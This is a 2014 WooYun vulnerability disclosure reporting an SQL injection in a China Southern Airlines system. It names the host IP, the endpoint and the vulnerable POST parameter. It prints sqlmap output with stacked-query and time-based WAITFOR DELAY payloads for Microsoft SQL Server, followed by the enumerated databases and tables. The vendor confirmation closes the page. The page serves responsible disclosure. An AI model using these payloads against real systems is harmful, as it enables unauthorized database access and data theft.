当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-052621

漏洞标题：中国南方航空股份有限公司某系统SQL注入漏洞

相关厂商：中国南方航空股份有限公司

漏洞作者： 绝情刀

提交时间：2014-03-03 12:35

修复时间：2014-04-17 12:36

公开时间：2014-04-17 12:36

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-03-03： 细节已通知厂商并且等待厂商处理中
2014-03-03： 厂商已经确认，细节仅向厂商公开
2014-03-13： 细节向核心白帽子及相关领域专家公开
2014-03-23： 细节向普通白帽子公开
2014-04-02： 细节向实习白帽子公开
2014-04-17： 细节向公众公开

简要描述：

RRT

详细说明：

http://125.88.6.155:80/coms_wh/updatepword.jsp (POST)
username=&oldpasswd=&newpasswd=&snewpasswd=


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: username='; WAITFOR DELAY '0:0:5'--&oldpasswd=&newpasswd=&snewpasswd=
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: username=' WAITFOR DELAY '0:0:5'--&oldpasswd=&newpasswd=&snewpasswd=
---
web server operating system: Windows
web application technology: Servlet 2.4, Apache 2.2.21, Tomcat 4.2.3.
back-end DBMS: Microsoft SQL Server 2005
available databases [9]:
[*] coms
[*] coms_wh
[*] dbczsie
[*] master
[*] model
[*] msdb
[*] nhbpm
[*] nhzb
[*] tempdb


Database: coms_wh
[57 tables]
+--------------------------------+
| AIRPLANE_INFO                  |
| BALANCE_TAX                    |
| COMPANY                        |
| COUNTRY                        |
| DEPOT_BILLS                    |
| DISTRICT                       |
| ELE_BOOK                       |
| EXPORT_BILLS                   |
| EXPORT_EXCHANGE_BILLS          |
| EXPORT_GOODS                   |
| EXPORT_GOODS_SHIPPER           |
| EXPORT_PRICE_BILLS             |
| FAHUO_BILLS                    |
| FAHUO_LIST                     |
| FETCH_BILLS                    |
| FETCH_GOODS                    |
| IMPORT_BILLS                   |
| IMPORT_GOODS                   |
| LET_DAT_ZBZL                   |
| LEVYMODE                       |
| LEVYTYPE                       |
| SA_PRIVILEGE                   |
| SA_ROLE                        |
| SA_ROLE_PRIVILEGE              |
| SA_ROLE_USER                   |
| SA_USER                        |
| SPECIAL_PROCESS                |
| TAX_BILLS                      |
| TAX_DERATE_BILLS               |
| TAX_DERATE_GOODS               |
| TRADE                          |
| TRANSAC                        |
| TRANSF                         |
| TRANSPORTER_INFO               |
| T_SM_KEYTABLE                  |
| UM_DEPT                        |
| UM_DEPT_USER                   |
| UM_PRIVILEGE                   |
| UM_ROLE                        |
| UM_ROLE_PRIVILEGE              |
| UM_ROLE_USER                   |
| UM_USER                        |
| USER_TO                        |
| V_BALANCE_TAX                  |
| V_IMPORT_BILL_MONTH_REPORT     |
| V_IMPORT_GOODS                 |
| INVOICE\x05                    |
| V_EXPORT_BILL_MONTH_REPORT\x02 |
| WARE_HOUSE\t                   |
| complex                        |
| daoruqd                        |
| dtproperties                   |
| invoice_fee_detail             |
| invoice_info                   |
| mail_proper                    |
| v_ware_house_account_book      |
| 结果                             |
+--------------------------------+


漏洞证明：

修复方案：

版权声明：转载请注明来源 绝情刀@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-03-03 12:39

厂商回复：

谢谢，正在抓紧修复~

最新状态：

暂无